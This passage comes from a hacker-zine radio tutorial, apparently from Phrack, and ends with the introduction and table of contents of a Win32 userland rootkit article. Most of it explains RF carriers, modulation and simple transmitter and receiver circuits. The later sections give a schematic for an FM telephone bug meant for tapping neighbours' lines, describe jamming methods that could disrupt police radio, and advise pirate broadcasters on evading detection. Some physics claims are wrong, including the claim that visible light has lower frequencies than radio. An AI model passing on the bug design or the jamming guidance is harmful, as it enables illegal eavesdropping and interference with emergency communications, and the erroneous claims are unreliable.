Despite our underlying ignorance of radio and its properties, we can predict and use its properties to our advantage to undergo a wide variety of different tasks ‑‑ and will probably do so for a long time to come.

‑‑‑‑[ 1.2 ‑ Carrier

An 'RF carrier' can be thought of as the part of the radio wave which can be modulated to 'carry' a data signal. An analogy to help with understanding this is to think of turning on a flashlight and pointing it towards a wall. The light which is seen on the wall is the 'carrier'.

Before and without modulation, the carrier of a radio wave contains no data, and just contains peaks of an RF voltage.

peak voltage

||\\ ///\ /

|| \\ // \\ //

|| \\\/ \\\/

RF carrier

Because sending radio waves with a carrier containing no data would be almost useless, a carrier is 'modulated' to contain data. There are various modulation schemes in wide use, but the two most common schemes are AM (Amplitude Modulation) and FM (Frequency Modulation). These are discussed later.

‑‑‑‑[ 1.3 ‑ (RF) Frequency Bands

As we can gather from listening to a variety of radio stations, different forms of technology use an entirely different 'band' of radio frequencies on which to send and receive their radio signals.

The entire range in which radio signals are transmitted extends from around 30KHz, up to about 30GHz. This whole range of available RFs (Radio Frequencies) is known as the 'radio spectrum'. The radio spectrum's range of frequencies, and their concurrent uses are shown in the below table.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Frequency | Uses | Name |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 30KHz‑300KHz | Long‑wave radio, useful | Low Frequency (L.F) |

| | for long distance | |

| | communications | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 300KHz‑3MHz | Medium wave, local radio | Medium Freq (M.F) | | | distant radio stations | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 3MHz‑30MHz | Short wave radio | High (H.F) |

| | Communications | |

| | Amateur radio | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 30MHz‑300MHz | FM Radio | Very High (V.H.F) |

| | Police radio | |

| | Meteorology Comms | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 300MHz‑3GHz | Air Traffic Control | Ultra High (U.H.F) |

| | TV |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 3GHz‑30GHz | Radar Comms | Microwaves (S.H.F) |

| | Satellites | |

| | Telecommunications (TV & | |

| | telephone) | |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since certain frequency bands are used to accomodate important communications, such as the VHF band, it became illegal to transmit radio waves at certain frequencies without a license. It was made so because transmission of radio signals at important frequencies could interrupt critical communication, such as communication between police officers with their radio transmitter devices.

All frequencies within the radio spectrum are invisible to humans. Light frequencies which are visible to humans, i.e frequencies which are present in the light spectrum, operate at *much* lower frequencies.

‑‑‑‑[ 1.4 ‑ Wavelength

Wavelength is the physical distance between a peak in one radio wave, to the peak in another radio wave transmitted successively ‑‑ on the same RF. As a general analogy, the wavelength can be thought of as the distance that the peak in a given wave will have travelled in the space of time for one cycle. This can be calculated using the below simple formula.

|\ = V / F

* |\ = lamda

V = Velocity

F = Frequency

Using this formula, the wavelength for an example scenario can be calculated, when the RF is 27MHz. The speed of light is 300 million meters/second, which is therefore the velocity of the electromagnetic wave.

|\ = 300,000,000 / 27,000,000

= 11.11r

Looking at the above calculation, what can be gained? It seems that the wavelength for waves transmitted in the example scenario is 11.11 (recurring) meters, so from this, it can be gathered that a peak in a particular radio wave will have travelled 11.11r meters in the time it took for one oscillation of the transmitting oscillator. But how can we know how long this oscillation period takes? We can calculate this using the formula '1 / f'.

1 / 27,000,000 = 0.0000000370r

This means that within the miniscule time frame of 0.0000000370 (recurring) seconds, the peak within the radio wave should have travelled approximately 11.11 (recurring) meters.

Wavelength might seem quite a useless thing to calculate on its own, but it comes in very useful when it comes to calculating suitable aerial lengths for both radio transmitters and radio receivers. As a rule of thumb, an ideal length for a radio aerial is around 1/2 of the signals wavelength. This can be calculated very easily.

11.11 / 2 = 5.555 (roughly)

From this calculation, we can gain the knowledge that a near ideal radio transmitter/receiver aerial can be constructed to be of around 5.5 meters. Exact precision is not generally critical to the overall operation of the radio transmitter/receiver. For example, where portability of equipment is more of a concern than great efficiency, 1/4, 1/8 or even 1/16 of the wavelength in meters is often used for the length of the radio aerial.

11.11 / 4 = 2.7775

11.11 / 8 = 1.38875

11.11 / 16 = 0.694375

From this little experiment we can see that we can turn a length which is considerably out of question due to portability desires, into a length which is much more suitable, yet efficiency is not affected too much.

This technique is very commonly employed to calculate sensible lengths for radio aerials. However, other techniques are also employed, especially in the case of satillite TV. Notice how TV satillite dishes house tiny holes in the body of the dish? These holes are specially sized to ensure that radio waves with wavelengths less than that associated with the desired RFs (3GHz‑30GHz) do not create an electrical current in the aerial wire, as suitable radio waves do. Holes based upon the same principle can also be found when looking inside a microwave oven.

‑‑‑‑[ 1.5 ‑ Transmission

Perhaps one of the most difficult concepts to grasp in radio is how radio waves are actually broadcast into the environment. As touched upon previously, radio waves are transmitted using oscillators in electronic circuits, and the rate at which the oscillator oscillates is the frequency at which the radio waves are transmitted.

As an example, we will focus on using an LC tuned oscillator circuit in the radio transmitter circuit. LC oscillators are made up of an inductor (L), and a capacitor (C). If we consider how a capacitor stores current, we can come up with the conclusion that it is stored as an electric field between two plates ‑‑ these two plates make up the capacitor. During one oscillation (also known as a 'cycle') of the LC tuned circuit, all available current is stored first in the capacitor as an electric field, and then as a magnetic field associated with the LC circuit's inductor. After a *very* short time period (1/f), the magnetic field is turned back into an electrical current, and begins to recharge the capacitor again. Because the inductor's magnetic field is beginning to change back into electrical charge, the inductor turns another electrical field into a magnetic field in order to counter‑act the change. This continuous cycle of quick changes keeps the current in the LC circuit flowing in the same direction, driven by the current stored in the inductor. When the inductor's charge eventually becomes zero, the capacitor becomes charged again, but with the opposite polarity. After each oscillation (cycle), energy loss has occured, but not all of the energy loss can be accounted for as energy lost as heat from the inductor's coil. Thus, we can gather that some energy has been 'leaked' from between the capacitor's plates, as electromagnetic energy ‑‑ radio waves.

If we consider this, we can conclude that the further apart the plates in the capacitor are, the more energy is broadcast ('leaked') as radio waves. This must mean that if we have a capacitor with plates spaced 1 meter apart, more energy will be broadcast as radio waves than if the capacitor had plates spaced a very small distant apart. By thinking even deeper, we can conclude that to maximise 'leakage' of radio energy, a capacitor is needed in the LC tuned oscillator circuit with plates spaced at quite a distance apart. It just so happens that for this task, to maximise broadcast of radio waves, the world's largest plate can be used to take the place of one plate of the capacitor ‑‑ the Earth! The other capacitor plate needs just be a suitably lengthed piece of wire, which is an equally common sight ‑‑ this piece of wire is known as an 'aerial'!

In real‑world radio transmitters, oscillator circuits are used to make a small current 'oscillate' in an aerial wire. Because of the constant change of energy form in the oscillator circuit, the current oscillating in the length of the wire becomes electromagnetic and is radiated as radio energy.

Back to the length of the aerial in relation to wavelength; this is where the length calculated earlier comes in handy. From the knowledge gained here, we can assume an adapted LC oscillator circuit as below.

Capacitor Inductor

________________

| )

| )

‑‑‑ )__________Aerial

‑‑‑ )

| )

|________________)

As a concept, using the adapted LC tuned oscillator circuit above, the transmission of radio waves can be thought of like this; radio waves are generated due to the propagation of an electric current in an aerial wire. It is, as we have learnt, the 'leakage' of electromagnetic energy from between the two plates of the capacitor which causes broadcasting of radio waves.

As oscillations occur in our LC tuned circuit, all available energy is stored in the capacitor, followed by energy (electrical current) not leaked as electromagnetic waves being fed into the inductor. This whole process measures one oscillation, and once one oscillation is over, the whole process repeats itself again, and each time energy is being lost as radio waves from the acting 'capacitor' (aerial and Earth). Therefore, it is the rate at which the LC circuit is oscillating (the 'frequency') at that determines the frequency at which the radio waves are broadcast at ‑‑ thus determining the RF of the radio signals.

‑‑‑‑[ 1.6 ‑ Receiving

The concept of receiving radio signals is based upon almost the opposite of the concepts of transmitting radio waves. In similarity to radio transmitters, radio receivers also use an aerial, but for a totally different purpose; for detecting the radio signals in the environment. As described previously, radio waves are a form of energy, propagated as electromagnetic waves through the air. Thus, when radio signals transmitted by nearby radio transmitters pass the aerial of the receiver, a *tiny* RF alternating current is generated in the aerial wire. When a signal becomes present in the aerial wire, 'wanted' radio frequencies are 'selected' from the assortment of RF currents in the aerial, using a 'tuned circuit'.

As an example, we'll focus on the LC tuned circuit as in the previous section, due to the simplicity of this circuit. RF current of the 'wanted' frequency can be selected from amongst the other RFs by use of an LC tuned circuit, which is set to resonate at the frequency of the 'wanted' radio frequency. This selection is done because the LC tuned circuit has low impedance at any frequencies other than the 'wanted' frequency. Frequencies other than the 'wanted' frequency are prevented from passing through the circuit because they are 'shorted out' due to low impedance of the LC circuit at any other frequency than the resonant frequency (the frequency of the 'wanted' signals).

Following the selection of correct radio frequencies from the other RF signals, the radio receiver will usually amplify the signal, ready for demodulating. The technique which is adapted by the receiver for demodulating the radio signal into the modulating signal is totally dependant on the type of modulation being used in the received radio wave. In the case of an AM radio receiver, a selected signal will be 'rectified' and thus demodulated, using a low‑drop germanium diode. This process basically turns the alternating RF current back into a direct DC current, which represents the power strength of the AM signal. Next, the RF component is generally removed by using a capacitor. The output product of this process is a recovered modulating signal which can be fed to a pair of high impedance headphones. The diagram below represents how the selected RF current is rectified by the diode.

||\\ //\\ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|>|‑‑

|| \\|| \\

\/\/\/\/\/\/

AM Modulated Carrier diode Modulating signal

RF carrier present)

After being rectified by the diode, the AM radio signal is still not suitable to be fed to an audio output, as the RF carrier is still present. The RF carrier can be removed by using a single capacitor.

| |

||\\ //\\ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |‑

|| \\|| \\ | |

Modulating signal capacitor Modulating signal

RF carrier removed)

The output of the capacitor is a recovered modulating audio waveform which is suitable for passing to an audio output device, such as a set of headphones with a high impedance.

This technique is likely to be the simplest way to create an AM radio receiver, commonly known as the 'crystal set', used by the mass in the 1920s. Other receivers are more often used to produce a higher quality of audio output, such as TRFs (Tuned Radio Receivers) and Superhetrodyne receivers.

The whole system model of a radio receiver at its most basic level can be thought of as the below diagram.

Modulated Radio Signal

(electric current generated in aerial wire by radio wave) |

\|/

Signal amplified

|

\|/

Signal demodulated

|

\|/

Modulating signal

Although the techniques and components needed to achieve each step of the diagram are different, most receivers stick to this sort of system. Other types of receivers and their circuits are discussed more indeph in the section they are related to.

‑‑[ 2 ‑ AM Radio

‑‑‑‑[ 2.1 ‑ What is AM Radio?

AM Radio refers to any form of technology which makes use of Amplitude Modulation to modulate the 'carrier' with information. To package a radio wave with often complex signals, the carrier of a radio wave is shifted in power very slightly in sympathy with a modulating audio or data signal. Next to morse code, AM is one of the simplest forms of modulation, and with this, comes its disadvantages.

‑‑‑‑[ 2.2 ‑ Modulation

AM Modulation involves nothing more than shifting the power of a radio wave's carrier by tiny amounts, in sympathy with a modulating signal. Amplitude, as you probably already knew, is just another word for 'power'.

The simplicity of AM modulation can be demonstrated with a simple diagram like the one below.

||\\ ///\ //\\

|| \\ // \\ // \\ ‑‑‑> \ /\ / ‑

|| \\\/ \\\/ \\ \/ \/

RF Carrier Modulating signal AM signal

As you can hopefully make out from the diagrams, whenever the modulating signal (the signal which we are modulating) increases in voltage, the amplitude (power) of the RF carrier is increased in sympathy with the modulating signal. When the voltage of the modulating signal declines in voltage, the opposite of above happens. After AM modulating the carrier, the signal has usually twice the 'bandwidth' of the original modulating signal.

‑‑‑‑[ 2.3 ‑ Demodulation

When an AM designed radio receives a radio wave, as previously noted, a small RF alternating current is generated in the aerial wire. Because of the AM modulation of the carrier applied by the sending transmitter, the voltages in the carrier are larger and smaller than each other, but in equal and opposite amounts. As a result, to recover the modulating signal, either the positive or the negative part of the modulated signal must be removed. In the simplest AM radio receivers, the modulated signal can be 'rectified' by making use of a single germanium low‑drop diode.

\\/\/\/\/\

\\ /// // ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|>|‑

\\// \\/

AM radio signal diode Modulating signal

Here, part of the carrier has been removed, resulting in recovery, or 'rectification' of the modulating signal.

Because the carrier frequency (the RF of the radio wave) is usually significantly greater than the modulating frequency, the RF carrier can be removed from the resultant modulating signal, using a simple capacitor.

\\ // | |

\\ /// // ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑

\\// \\// | |

Modulating signal capacitor Modulating signal

(with RF carrier) (without RF carrier)

By exposing the rectified signal to a capacitor, the audio signal (or otherwise data signal) is smoothed, producing a higher quality of audible output. At this point, the modulating signal is more or less recovered.

Although this technique of AM demodulation can be made to work to a satisfactory level, the vast majority of commercial radio receivers now adopt a design known as 'superhet', which I will explain briefly here.

Superhet receivers are based upon the principle of 'mixing' two signals to produce an intermediate frequency. The diagram illustrates a superhet receivers operation.

Carrier in ‑‑‑> Tuned circuit ‑‑‑> Mixer ‑‑‑> IF amplifier ‑‑‑> Detector

(selects correct RF) | |

|

|

Local oscillator Audio Amp

As we can see, superhet demodulation is significantly more complex than 'rectification'. Superhet receiver systems, like the above system diagram, works basically as follows. First, an RF alternating current becomes present in the circuit, because of the electromagnetic activity around the aerial. Signals of the correct radio frequency are selected via a tuned circuit, and inputted into one input pin of the 'mixer'. In the meantime, the other input of the mixer is occupied by the 'local oscillator', which is designed to be oscillating at a frequency just lower than the inputted radio frequency. The output of the mixer is known as the 'Intermediate Frequency' (IF), which is the difference between the local oscillator frequency, and the frequency of the received AM radio signal. Next, the 'IF' is amplified, and passed to an 'envelope detector'. The output of the envelope detector is the modulating audio signal (an AF ‑‑ Audio Frequency), which is in turn amplified, and outputted to the user via a loudspeaker or other audio output device.

Since the local oscillator is almost always set to oscillate at a frequency of approximately 465KHz *below* the frequency of the carrier input, the output of the mixer will always be a 'carrier' of 465KHz ‑which still carries the modulated information. After the signal is amplified by the IF amplifier(s) (there can be more than one IF amplifier), the signal is now demodulated by the detector ‑‑ which is often just a single diode. As mentioned above, the modulating signal recovered by the system can be fed to an amplifier, followed by an audio output device.

As well as producing a higher quality of audio signal, superhet receivers also eliminate the need to be able to tune multiple tuned circuits in a TRF (Tuned Radio Receiver). TRF designs become awkward when it comes to tuning them into different radio frequencies because of the many tuned circuits needed ‑‑ superhets overcome this problem as they always 'know' what the collector load will be ‑‑ a 465KHz signal. Superhet designs can also be adapted to work with FM radio signals, assuming the 'detector' is changed to a suitable detector for FM signals (i.e phase detector).

‑‑‑‑[ 2.4 ‑ Circuits

Since radio technology is a frequently discussed topic across the Internet, many radio circuit design implementations are readily available, ranging from very simple circuits, to quite complex ones. Here I present some radio related circuits which most people with a bit of electronics knowledge and the right components can build.

‑‑‑‑‑‑[ 2.4.1 ‑ Receivers

Discussed above was the historic 'crystal set' radio receiver, which allows anyone with a long enough aerial wire and a few components to listen to AM radio bands. Below is the basic crystal set radio receiver circuit, which is very easy to construct.

Aerial Wire D1 *

| Q1

| ____|>|_________

|_____________|/ |

| |\ |

_______|_____ | |

( | | |

( L1 ‑‑‑ C1 * | C2 ‑‑‑ 0 high impedance

( ‑‑‑ | ‑‑‑ 0 headphones

( | | |

(_____________| | |

| | |

|_______________^____________|__

| | (not joined)

|_______________|

|

GND

‑ C1 should be a variable capacitor to allow the station to tune into other frequency bands.

‑ D1 should be a low‑drop germanium diode ‑‑ non‑germanium diodes won't work.

From previous discussion, we can figure out that the above 'crystal set' AM radio receiver works as follows; incoming radio waves generate a tiny alternating current in the aerial wire, from which 'wanted' radio frequencies are selected, by the tuned LC circuit. Selected current passes through a diode, which 'rectifies' the signals, thus demodulating them. Before the diode, there is a simple transistor, which amplifies the 'wanted' frequency. The only reason for this is to make the quality of sound slightly better. Any remaining RF components are removed using a single capacitor ‑‑ this consequently has the effect of smoothing out the signal. The product audio signal is passed to a set of headphones ‑‑ these *must* be high‑impedance, or nothing audible sounds on the headphones.

As was noted earlier, this type of receiver was used frequently in the 1920s, and gave even newbie electronic enthusiasts of that time the opportunity to build something that would be considered very useful at that time. To make decent use of the 'crystal set' circuit, around 60‑70 turns of wire around a rod of ferrious metal would create a good aerial.

Designs like above are never used in commercial radio receivers anymore. Excluding superhet receivers, TRFs are occasionally used to produce low quality radio receivers. Below is a simple TRF receiver schematic.

Aerial

| C5* C6 +9V

| ____________________

| | | | )

| | ‑‑‑ ‑‑‑ )LC2 |‑|

| | ‑‑‑ ‑‑‑ )

| | |____|_______)

| | | C8

‑‑‑ C1 | | D1 C7 | |___| |____0

‑‑‑ _|_ Q1_____________|>|________| |_|_|/ | | 0

LC1 | R1 | | / | | | Q2

_________|__ |_| __|/ High impedance

| ) | | |\_____ headphones

| ) | | |

| ) | | |

‑‑‑ C2 * )___| |__|_ | |

‑‑‑ ) | | | |

| ) C3 | | |

|___________) | | C4 | |

| |_____

| | | R4 |‑| R6 |‑|

R2 |‑| R3 |‑| ‑‑‑ | | | |

| | | | ‑‑‑

|_| |_| |

____|______|____|__

0V

‑ C2 should be a variable capacitor

‑ C5 and C6 should be variable capacitors

‑ Resistors of sensible values should suffice

‑ Capacitors of sensible values should suffice

As in the 'crystal set' receiver, when a radio signal is 'picked up' by the aerial, the proper frequency is selected using the LC tuned circuit. The signal is passed to a transistor amplifier. However, this time, the transistor amplifier has a 'tuned collector load', because of the tuned LC circuit (LC2) at the collector leg of the transistor. Next, the signal is rectified, stored in a few capacitors until enough current has collected, and is eventually fed to the user with the high impedance headphones. The use of the tuned collector load at the transistor causes for the receiver to be more precise, amplifying only the signals which are at the frequency of LC2's resonant frequency. As expected, this causes for a higher quality of audio signal to be fed into the users headphones, making this a much better radio receiver.

A few things can be done to improve the above receiver, such as adding yet more tuned amplifiers, and perhaps adding a few more resistors and capacitors for safety and efficiency purposes.

‑‑‑‑‑‑[ 2.4.2 ‑ Transmitters

All that we really need to do when designing a simple radio transmitter is keep in mind that we require an oscillator ‑‑ either tuned or crystal controlled ‑‑ and a series of amplifier circuits which boost our signal. After these stages, all that is left is to make the signals oscillate in the aerial wire.

Below is a simple radio transmitter schematic.

Aerial

______________________________________

| |

| |

| L1 ) | | | L3 |

| ) R3 |‑| C3 | |__ )

|‑| R1 Crystal ) | | ‑‑‑

| |_________|_____________) C5)

|_| ||| |

| |_______| |___AM ___|_______|/ ‑‑‑ |

| / | | Modulator |\___|___|

|__________| |________|/ C2 Q2 | |

| | | |\ Q1 (PNP) | )

| C1 |

| |‑| C4 ‑‑‑ )

M | | R4 | L2 )

| |_|

| |

| |

|_______________________|______________

‑ TR2 is a PNP transistor

‑ M is a microphone

This circuit works by oscillating at the frequency controlled by the crystal (27MHz would be legal in the UK), amplifying the signal with tuned collector loads at the transistor (TR1), and then by radiating the signal off as radio waves by oscillating the signal in the aerial wire. Amplitude modulation is added to the signal by varying the gain of the transistor driver, by connecting it to the output of a microphone. The above circuit is quite inefficient, and is likely to produce low quality signals, but it can be used as a starting point to building a simple AM radio transmitter. It's probably illegal to operate the above circuit on frequencies requiring a license, so some countries *require* the circuit to be crystal controlled on a 'model radio' RF. One improvement to be made on the schematic is to amplify the output of the microphone before feeding it to the transistor driver.

Possible devices which could apply the AM modulation are audio amplifiers, or even op‑amps. An audio amp following the oscillator would produce a higher quality, stronger signal, but would also provide power gain (i.e amplitude gain), in sympathy with the audio signal produced by the microphone. This gain of amplitude due to the audio amp has essentially applied Amplitude Modulation of the carrier signal, because the power of the signal has been altered according to the inputted audio signal (at the microphone). An ordinary op‑amp could be used in a similar way, but by substituting the non‑inverting input pin with a suitable power supply. Essentially, this would cause for an outputted gain from the op‑amp, according to the audio signal, because the two inputs to the op‑amp are compared, as such.

‑‑[ 3 ‑ FM Radio

‑‑‑‑[ 3.1 ‑ What is FM radio?

FM radio just means any form of technology which makes use of radio with FM modulated signals. To modulate a radio wave's carrier with information, FM transmitters shift the frequency of the carrier very slightly, to be in sympathy with a modulating signal.

‑‑‑‑[ 3.2 ‑ Modulation

FM modulation consists of little more than shifting a radio wave's carrier frequency very slightly in sympathy with a modulating signal's frequency.

Modulation of an example audio signal is shown in the figures below.

||\\ ///\ //\\

|| \\ // \\ // \\ ‑‑‑> \ /\ / ‑

|| \\\/ \\\/ \\ \/ \/

RF Carrier Modulating signal FM signal

The diagrams show that when the frequency of the modulating signal increases, so does the given carrier frequency, and the opposite when the modulating signal's frequency decreases. This is shown in the FM signal diagram by the bands being spaced widely apart when the modulating signal frequency is increasing, and more closely together when the modulating signal's frequency is decreasing.

‑‑‑‑[ 3.3 ‑ Demodulation

When an FM modulated carrier signal is detected by the receiver's aerial wire, in order to recover the modulating signal, the FM modulation must be reversed.

Most modern FM radio receivers use a circuit called the 'phase‑locked loop', which is able to recover FM modulated radio signals by use of a VCO (Voltage Controlled Oscillator), and a 'phase detector'. Below is the system diagram of a PLL suitable for use in FM radio receivers.

FM signal in ‑‑‑‑‑‑‑‑‑‑‑‑‑> Phase ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Detector |

|

|

|

|

VCO |

|_____

Modulating signal

out

The above PLL is able to recover the modulating signal by having one input to a phase detector as the modulated carrier, and the other input as a VCO oscillating at the frequency of the RF carrier. The phase detector 'compares' the two frequencies, and outputs a low‑power voltage relative to the difference between the two 'phases', or frequencies. In essence, the outputted voltage will be relative to the frequency by which the carrier's frequency was shifted during modulation by the transmitter. Therefore, the output of the PLL, known as the 'phase error', is the recovered modulating signal. In addition to being outputted from the small system, the voltage is also given to the VCO as 'feedback', which it uses to 'track' the modulation. Acting upon the feedback received, the frequency of oscillation is altered accordingly, and the process is repeated as necessary.

In the past, less efficient and reliable circuits were used to demodulate FM radio signals, such as the 'ratio detector'. Although the 'ratio detector' is less sophisticated than PLL methods, a functioning ratio detector circuit is actually a little more complex than PLLs.

It should be noted that superhet receivers, touched upon a little earlier, can also be used as FM radio receivers, but their 'detectors' are different to that of an AM superhet ‑‑ for example, a PLL circuit or ratio detector discussed here could be used in conjunction with a superhet receiver to make an FM radio. This is the method which is actually adopted by most commercial radio receiver manufacturers.

‑‑‑‑[ 3.4 ‑ Circuits

‑‑‑‑‑‑[ 3.4.1 ‑ Transmitters

The same general principles apply to FM radio transmitters as they do to AM radio transmitters, except that information must be modulated in a different way. In AM radio transmitters, the carrier frequency is more or less always constant. However, in FM transmitters, the whole principle is to alter the carrier frequency in small amounts. This means that a tuned oscillator circuit is not appropriate, because we need to alter the frequency accordingly, not transmit at one static frequency. The method used to overcome this problem is discussed a little later. A simple FM transmitter schematic diagram is presented below.

Aerial

_____________________________________

| |

| |

| ) C3 | )

| R1 L1 ) R3 | | ‑‑‑ |_ C4 )

|‑| )

| | )

|_| | Crystal | C2 | | | ‑‑‑ | L2

|_______________|||_____________|_____

| /

|____________| |_____________|/

| | | |\ Q1 Q2 |

| |

| C1 |

M |‑|

| | | R2 |

| |_|

| |

|______________________________|______

When audio signals are produced by the microphone, current carrying audio frequencies are amlified, and are used to modulate the radio wave. Since the microphone does this all for us, there is no need to use modulation modules, ICs, or other technology. In situations where an elecret microphone is not available to do the modulation for us, a varactor diode can be used to vary the capacitance in an oscillator circuit, depending on the amplitude of a modulating signal. This varies the oscillation frequency of the oscillator circuit, thus producing FM modulation.

‑‑[ 4 ‑ Misc

‑‑‑‑[ 4.1 ‑ Pirate Radio

Pirate Radio stations are simply just radio stations ran by individuals who are not licensed amateur radio enthusiasts. Although radio is actually a natural resource, it has been illegal for a significant amount of time in some countries to transmit radio waves on certain frequencies. Although transmitting radio signals on certain frequencies (around 27MHz) is legal in places like the UK, strict FCC regulations kick in, almost limiting the threshold to useless. Because of this limitation, radio enthusiasts all around the globe see fit to set up pirate radio stations, which they use for their enjoyment, playing their favourite music tracks to the 'public', and for a breeding ground for aspiring DJs. Some 'pirate radio' stations keep within the FCC terms, by transmitting at low‑power. These types of stations are often referred to as 'free radio', or 'micropower stations'.

The legality of pirate radio stations is questionable, but varies from country to country. In some European Countries, you can be arrested for just owning an unregistered transmitter. In Ireland, prosecution rarely takes place if registered radio stations are not affected, but it is still illegal. The US allows transmission of radio signals at *microscopic* power, making the limitations almost useless for unlicensed radio enthusiasts, thus causing them to resort to pirate radio.

Contrary to popular belief, setting up a pirate radio station is not necessarily a difficult task. At the minimum, someone wanting to setup a pirate radio station would need the following pieces of equipment:

‑ Stereos, CD Players, Microphones, etc.

‑ Audio Amp

‑ Audio Mixer

‑ Transmitter

‑ Aerial

Stations using only the above equipment can sometimes sound quite crude, and might interfere with other legal radio stations. To avoid this, a 'compressor' can be used, which also limits the noise created by sudden loud noises in the background.

Although any of the example transmitters in this article probably wouldn't be sufficient enough to transmit music audio signals over the air, but they could be used as a starting point to building your own, more efficient kit. Additionally, FM and AM radio kits can be purchased, which anyone with a soldering iron can build.

The length and height of the antenna depends entirely on how far the radio signals need to be transmitted. By reading the previous sections, some information on getting a correctly sized aerial can be gained. For example, a quick and dirty aerial for an AM pirate radio station could be around 15‑20 feet tall.

To avoid being busted, it is probably a good idea to stay within the legal power limits. Otherwise, a Direction Finding device used by the authorities could easily track down the exact location of the transmitter.

‑‑‑‑[ 4.2 ‑ Wireless Telephone Tapping

'Beige boxing' has long been the easiest and most exploited way to tap telephones, interrupt on neighbours conversations, and use enemies phone lines to make long distance calls to your friend in Australia. However, since beige boxing requires the phreak to lurk around like a ninja, a safer method can be used, which doesn't require you to be physically close to the target phone line.

As expected, audio signals on a target phone line can be transmitted as radio signals at an arbitrary frequency, and be received by any phreak with an FM radio receiver. Although this concept is not new, it serves as an interesting and useful project for radio newbies to try out. Below is a simple FM phone bug transmitter circuit.

______________________

| |

| |

IN (green) ___.___|_______ |‑|

| | | |

| /\ LED | |_|

| ‑‑‑ | | |op‑amp |

| | C1 | | | | |‑‑‑|\

| | |__________|/ Aerial |

IN (red) _____|___| |\ _____|_

| | |

| | |

OUT (green) __| | ( | |

/\ (varactor |

‑‑‑ (

| (

OUT (red) ________|____________________|_____|__

‑ inductor should be about 8 turns of wire

‑ aerial should be about 5 inch long

By interchanging the varator with a crystal, or by using a variable capacitor, the frequency band on which the bug transmits line activity could be changed accordingly. The varactor making up part of the oscillator circuit is intended to alter the frequency of oscillation, depending on the audio signal inputted from the green wire of the telephone line. The varactor diode can be thought of as an electrically variable capacitor, which in this case alters its capacitance in sympathy with the audio frequency on the telephone line ‑‑ causing for change of oscillation frequency, and thus frequency modulation.

The following op‑amp provides additional strength to the signal, in an attempt to avoid a weak, unreliable signal. For user‑friendly purposes, the LED connecting to the red wire of the line pair should illuminate when a signal is present on the line.

The above circuit can be modified to be made more efficient, and a longer aerial is an obvious way of lengthening the range of transmission. If a phreak was to contruct and use a device like this, all they would need is an FM radio to tune into the correct frequency. There are much better designs than the minimalistic one above ‑‑ if a practical FM telephone bug is required, many plans are available.

‑‑‑‑[ 4.3 ‑ Jamming

Technically, all it takes to carry out 'radio jamming' is to transmit noise at a desired frequency. For example, if a person in the UK were to transmit RF noise at 30MHz+, police radio communications could possibly disrupted. Although the principles are mostly the same, there are several different types of jamming.

‑ modulated jamming

This consists of mixing different types of modulation, and transmitting the results at a desired radio frequency. This is designed to make receiving legimate radio signals hard or next to impossible.

‑ CW (continuous wave)

CW jamming only involves transmitting a consistant carrier frequency once tuned into a RF frequency/band you want to jam. This again makes receiving desired radio signals particuarly hard.

‑ Broadband

Broadband jammers spread Gaussian noise across a whole band of audio frequencies, blocking legimate audio signals from easy receival.

A basic radio transmitter is easily modifiable, by adding a noise generator, to successfully jam arbitrary frequency bands. Many other types of radio jammers exist, and their details are readily available on the World Wide Web.

‑‑[ 5 ‑ Conclusion

Radio is an extremely useful technology, which is at least as old as the atom. But we are only just beginning to exploit its full usefullness in even new and up and coming technology, and probably will do for the next few hundred years.

As we've discovered, contrary to popular belief, employing the use of radio in electronic circuits isn't at all as complicated as one would think. Because of this, the use of radio and be both used and exploitfully abused ‑‑ only a few basic principles need to be understood to make use of this wonderful technology. Although the surface has only been scratched, and way forward is open.

‑‑[ 6 ‑ Bibliography

Phrack 60

Low Cost and Portable GPS Jammer <http://www.phrack.org/phrack/60/p60‑0x0d.txt>

The Art of Electronics

<http://www.artofelectronics.com>

Updates to the article:

http://nettwerked.co.uk/papers/radio.txt

Win32 Portable Userland Rootkit

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10

|=‑‑‑‑‑‑‑‑‑=[ NTIllusion: A portable Win32 userland rootkit ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Kdm <Kodmaker@syshell.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

This paper describes how to build a windows user land rootkit. The first part deal with the basis and describe a few methods to show how code injection and code interception are possible, while the rest of the paper covers the strategy that makes stealth possible in userland. A bigger version of the paper is also available at [1] so that novice peoples can refer to a preliminary article about injection and interception basics.

Table of contents

1. Introduction

2. Code Injection and interception

2.1. System Hooks

2.2. CreateRemoteThread

2.3. Manipulating thread's context

2.4. Redirecting the Import Address Table

2.5. Inserting an unconditional jump (jmp)

3. User land take over

3.1. User land vs Kernel land rootkits

3.2. Restrictions...

3.3. ...and constraints

